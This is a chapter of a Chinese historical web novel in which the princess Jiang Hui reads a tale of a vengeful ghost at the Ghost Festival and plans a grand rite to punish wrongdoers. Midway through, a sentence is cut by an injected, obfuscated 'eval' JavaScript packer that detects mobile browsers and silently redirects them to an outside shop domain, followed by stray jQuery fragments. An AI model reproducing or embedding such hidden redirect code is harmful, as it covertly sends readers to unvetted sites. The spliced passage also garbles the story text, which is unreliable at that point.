姜回醒来时,屋内并没有人。榻边高几上放着杯热茶和一碟点心。
姜回端起茶轻抿了一口,便放下起身穿了绣鞋,越过镶红玉双面绣粉荷青莲薄纱屏风,打量着内里陈设。
芙蓉纹路嵌琉璃轩窗半开,明静的日光炽碎透进来,洒在干净无尘的书案落在绣海棠花月白锦毯,雕花镂空酸木枝梅花香盒系在檀色的金丝篾帘,里面放着晒干的荷花瓣,细风吹过,一阵灼灼花香。
今日已然入了夏伏,暑热越发严重,河边柳叶半青半黄,绥喜惯常背着的竹编箱笼放在案几,一本书卷倒扣放在上头。
县令府管家送来的书卷,其中不乏有些讲些鬼神志怪、缠绵悱恻的话本,绥喜有一日替她整理书卷时发现,看了半页便有些停不下来,她识字不多,所幸话本里画有图画,这样看图去猜也能读下去。
姜回见她喜欢,便准她把那些话本都可拿去,绥喜欢喜的谢过,还花了银钱买了个箱笼专门存放。
实在有不懂的,先前几日绥喜不敢问她,发现陈丁也识字,便逮着机会就像只小家雀似的围着他问个不停,陈丁一开始还不回答,后来许是被问的烦了,躲不了的时候也会告诉她,到了后来,甚至偶也会问起故事接下来怎样发展。
绥喜闷着声故意吊着他不答,任他猫爪似的挠心也不理,当着陈丁的面津津有味的读着,不时还发出疑问或是笑声。
姜回翻起书卷,左侧写着四个稍大一点的字——盂兰盆会。
右侧绘着一张图画,下方是漆黑铜门里争鲜恐后爬出来的鬼魂,或探出只手,或伸出只头脚,冲在最前面那张脸赫然只剩下嘴巴,极大的咧着,像是生豁开巨大的血盆大口,显得阴悚诡异,而上面则是穿着袈裟的和尚摆坛念经,相悖冲烈。下方歪歪曲曲的写着一行小字。
七月半,盂兰盆,人间倒悬。
姜回眸光微动,神思莫名被这幅奇诡深洄的画吸引,坐下来读了下去。
中元节,民间叫作“七月半”,传说这天午夜,地府鬼门打开,阴间的鬼魂会来到凡间享用祭品,探望在世的亲人。
而地府鬼魂想要来到凡间,则需要在开门之日前拿到鬼差给的短筹,这便需要花银子去求通融,有一个名叫无祀的男鬼已经死去三年,头一年还开心的炫耀,他妻子定然会给他烧许多财宝,这次返世定然有他。但他等了一日又一日,等到其余鬼收到了纸钱,等到他们买通了鬼差,等到错过了七月半,也没有等到妻子的纸钱。
到第二年,他依旧在等,仍旧没有等到,他失望却也忧心家中可是出了什么变故,无祀在阳间是个赌场老手,在阴间重操旧业哄的其余鬼同他做赌,终于凑足买通了鬼差的银钱,于是第三年,他挤在最前面成了第一个返世的男鬼。
无祀一路飘荡,忽然见前方灯火通明,在空地中央立着以竹竿制成的三脚架,高五尺有余,上面挂有靴鞋、幞头帽子、金犀假带和五彩衣服和成串纸锭,地上撒着粳米,残存的火燎烧着衣服,等待一旁的鬼魂等都成了灰烬便迫不及待的穿上,纸锭挂在脖颈,花花绿绿的颜色配上偌大项圈,活脱脱的艳俗好笑。
无祀认出这里白日里应当举行过盂兰盆会,而那三脚架,便是盂兰盆。无祀面色鄙夷,却也心中一动,拨开人群挑了最好看的衣服穿上,靴鞋、幞头帽子,金犀带也一样不少,高头翘脚颇为滑稽的走起四方步,引得一众鬼大笑不止,无祀颇有气势的连问:“本大人穿上这衣服可好看?可威风?”
众鬼连连附和,无祀满意了,再不耽搁,一路直奔家中而去,却只见破落残桓。为解疑惑,无祀入了邻户的梦,逼问之下方才得知他妻子在他死后不到一月便早已带着孩儿改嫁,他恼恨不已,一路直奔那人家中,路上见到自己一座孤坟遍生野草,更是怒火滔天,却正见夫妻和乐,无祀露出凶相,施动鬼力碰倒火烛,活生生将二人烧死。
邻居第二日方才发现,为夫妻二人悲哀不已。这户人家妻子前一个嫁的是个赌徒,动辄向妻子索要钱财,不给便打骂不止,连妻子家中老父也不放过,好容易恶有天惩,这个赌徒欠了银钱被人打死,妻子也遇到了个怜惜她的知心人,本以为以后都是好日子,谁曾想,竟是这样结果。
盂兰盆,倒悬日、阴鬼入世,凡人回避,诵经摆祭,以度悲绝倒挂之苦。却不想,恶相不泯,其逞煌煌,终致惨淡收场。
姜回自始至终保持着这个姿势,连神色都不动半分,只是眼神,在看到最后寥寥几笔,其叹短暂而过时,忽然一凝。
少女手持书卷坐在圈椅,侧脸精致白皙,下巴弧度小巧而漂亮,却又泛着过于柔韧的冷。
院外风吹树动,一片片枯黄枇杷叶纠扯桃花吹落院中。
撕扯着纠缠背后,是抢夺深埋地底生机的强烈不甘。
绿树,粉瓣,残叶,枯木。
窗边的少女坐在一室寂静,握着书卷的细白手指用全力般攥紧,在泛黄纸页扣出一个个月牙的凹痕,仿佛只有借此,才能稳住将要崩泄的、如夜色潮水般将她淹没、桎梏的情绪。
这世间,早已习惯用一团锦簇隐藏污泥下的黑暗,然后堂而皇之的对着黎民百姓宣告——明镜高悬,这世间并无不公。
无视累累白骨,麻木绝望,俯身低就的再说一句,人命面前,天子与庶民尔同。
无一,微、贱、鄙、薄。
可笑,荒谬。
垂眸平视的少女,仿佛透过这一面墙壁,看到一张张虚伪谦笑的面孔。
看到令人作呕、因太过荒谬可笑甚至反生出质疑的——真相。
她竭力稳住胃部的翻涌,才没有真的呕吐出声。
绥喜端着一碟扁食喜滋滋推门走进来,并没有抬头,行动间有些滞缓,脸上还带着些白粉,欢快道:“公主,奴婢打路过看见烧纸钱的才想起来,原来今日便是七月十五中元节,按照习俗,今日要吃扁食驱霉运呢。”
在阿爹没去世之前,每年七月十五这日都会用面粉搅成糊糊在撒上糖,做成似畚箕的扁食,她还未曾起床便已做好放在她床头。
她被甜香味勾着睁眼,却耍赖着不肯起,摸了一个急急放入口中,嚼吧着吃起来,阿爹看见便板着脸骂她,脏丫头。
绥喜想到这里不自觉露出笑,可慢慢的,笑意便僵硬消散下
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14309771|152324||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
来,后来,阿爹去世,她和公主相依为命,连裹腹都是困难,更别说特意去做一样东西。
但方才,她去厨房没有一个人敢拦,想必亲眼见到了被捆手塞嘴的王婆子等人,一时也是怕了。
绥喜用衣袖抹了把泪,笑了笑,朝着姜回递过去,“公主快尝尝,迎好运呢。”
姜回早在她进来的那一刻面色便已经恢复如常,放下书卷,在绥喜期待的目光中捏起一张,凑近唇边,轻轻咬了一口,一股甜腻的香味绕于唇齿,喉头微堵。
姜回举着扁食的手几不可察的微顿,然后便面不改色的一口口将它吃完,走去一旁净了手,又倒了一杯热茶喝了,才道:“剩下的你拿去吃吧。”
绥喜觉察出姜回可能不太喜欢,眼底微微露出失落,“那奴婢拿去和陈丁他们分了。”
“陈丁?”姜回注意到这句话。
“陈丁挨了五十鞭,本来是起不了床的。奴婢也告诉他,公主这几日不想见他,可谁知,方才他自己撑着不知哪里削来的木棍跟来了。”
顿了顿,绥喜迟疑问:“公主,要让他回去吗?”
“既然他要来,那便随他。”姜回冷漠道。
绥喜端着剩下的扁食刚要出去,终究还是的把纠结了一会的话问出了口:“公主,奴婢想告半日假。”
“去做什么?”姜回问。
“奴婢的阿爹去世多年,奴婢都没有正经的去祭拜过,奴婢想买些香烛纸钱去阿爹的坟前祭拜。”绥喜说着,面色隐有愧疚。
“去吧。”姜回默了一会道。
“是。”绥喜告退出去。
隔着一扇门,姜回听见她在和陈丁说着什么,隐隐的听不真切,并没在意。
刚想将书卷收拢放入箱箧,绥喜的声音忽然清晰起来。
“陈丁,你知道吗?昨天我从话本子里看到,中元节也叫盂兰盆会,有的地方会专门做一场大大的法事,还会准备茄饼粳米放在地上,再挂些金银衣纸烧了专门给那些孤魂野鬼。还有纸灯为孤魂引路。”
陈丁似乎说了些什么,离得稍远,姜回在屋中并听不见,只剩绥喜的声音越发清晰。“不过那个故事的主人公是一个大大的恶鬼,你还是不要看的好。”
“但你说,那冤死的夫妻一家是不是也成了无主孤魂?”
“你说的也对,故事只是故事,但是写故事的人总是真的吧?若真有人受了冤屈或是意外而死,不是很令人难过吗?要不我也买些纸灯做些祭品放在路边给那些冤魂?”
“什么?你说我话太多该去村口槐树下和那些长舌妇凑一堆?”
绥喜的声音渐远,姜回半弓着的身子慢慢直起,扣上箱箧。
是啊,人间颠倒,恶鬼行世,无主之魂。更该祭奠,而且要做的声势浩大才好。
“命人下去准备。”姜回漆黑眸光划过一抹幽光。“我要做一场大大的法事。”
“还有,去将她带过来。”
姜回抬起眼,透过半开窗扇看向日光,低低似鬼魂呢喃:
“七月十五,鬼门大开。
诛邪作恶,呈清明台。”